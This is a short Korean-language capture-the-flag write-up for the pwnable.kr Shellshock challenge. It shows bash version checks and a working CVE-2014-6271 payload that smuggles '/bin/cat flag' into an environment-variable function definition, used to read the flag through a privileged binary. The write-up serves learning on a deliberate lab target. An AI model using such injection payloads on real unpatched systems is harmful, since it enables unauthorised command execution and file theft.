Pwnable.kr Shellshock

Shellshock 문제를 풀기 위해 먼저 Shellshock 취약점에 대해서 검색을 해보니, bash shell 에서 발생하는 보안상의 문제로, 환경 변수와 관련되어진 취약점이라고 한다.

Shellshock 가 발생하는지 알아보기 위해 먼저 환경의 버전을 체크해 보았다.

```
shellshock@pwnable:~$ bash -version
GNU bash, version 4.3.48(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
```

기존 bash 는 4.3.48 버전으로 shellshock 취약점이 수정되어 있는 버전이다.

그래서 안의 파일을 확인하여 보니 bash 파일이 있어 그 파일을 검색하여 보니, 4.2.25 버전으로 shellshock 취약점이 발견되는 버전이었다.

```
shellshock@pwnable:~$ ./bash -version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
```

그래서 x 란 이름의 환경변수를 만들고, 변수를 함수처럼 취급해야 하기 때문에 공격 코드

X='() { echo shock ; }; /bin/cat flag' 코드를 입력하여 주고, shellshock.c 에서 bash 코드를 사용하기 때문에 shellshock 파일을 실행시켜 flag 파일을 shellshock 의 권한으로 읽는 것에 성공하였다.

```
shellshock@pwnable:~$ export x='() { echo attack; }; /bin/cat flag'
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
```